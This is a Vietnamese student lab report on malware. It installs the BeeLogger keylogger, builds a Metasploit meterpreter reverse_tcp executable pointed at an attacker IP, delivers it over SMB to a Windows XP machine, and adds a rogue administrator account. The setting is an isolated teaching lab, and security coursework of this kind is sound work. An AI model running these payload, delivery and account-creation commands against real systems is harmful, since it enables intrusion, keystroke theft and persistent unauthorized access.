Báo cáo an tòan thông tin lab 6 malware 2

Keylogger- Download zip file keylogger: https://github.com/4w4k3/BeeLogger- Unzip: unzip BeeLogger-master.zip... - Chuyển cd vào folder: cd BeeLogger-master- Cài đặt file: ./install.sh+

TRƯNG ĐI HC SƯ PHM K THUÂT TP.HCM KHOA: CÔNG NGHỆ THÔNG TIN

Lab 6 Malware

1 Keylogger

- Download zip file keylogger: https://github.com/4w4k3/BeeLogger

- Unzip: unzip BeeLogger-master.zip

- Chuyển cd vào folder: cd BeeLogger-master

- Cài đặt file: /install.sh

+ Chuyển quyền root và tăng quyền cho install.sh

+ /install.sh

- Khi cài đặt, nó sẽ tự cài đặt python

- Run file: python bee.py

(192.168.2.135) Backtrack 5 r3 (192.168.2.136)

1 Dùng cho Attacker

- Cài đặt IP trên window XP

- Cài đặt IP trên Backtrack 5r3

Bước 1: truy cập vào thư mục /pentest/exploits/framwork

#cd /pentest/exploits/framework

Bước 2: Đánh lệnh msfconsole

#msfconsole

Bước 3: Tạo Virus có tên dev.exe

msf>msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.136 LPORT=4444 X >/root/dev.exe

Bước 4: Thực hiện phát tán virus đến máy nạn nhân.

- Tạo folder SHARE trên máy nạn nhân

- Bật sharing

- Máy atcker : vào smb để chuyển file sang máy nạn nhân

Chuyển file thành công

Bước 5: Khai thác máy nạn nhân

Sau khi nạn nhân chạy file dev.exe thu được backdoor

- Xem các lệnh đang running: ps

- Tạo thư mục trên máy nạn nhân:

meterpreter> mkdir C:/yahana_21110432

- Tạo user có quyền admin trên máy nạn nhân:

meterpreter> shell net user GiaHan /add

net localgroup administrators GiaHan /add

Trên máy nạn nhân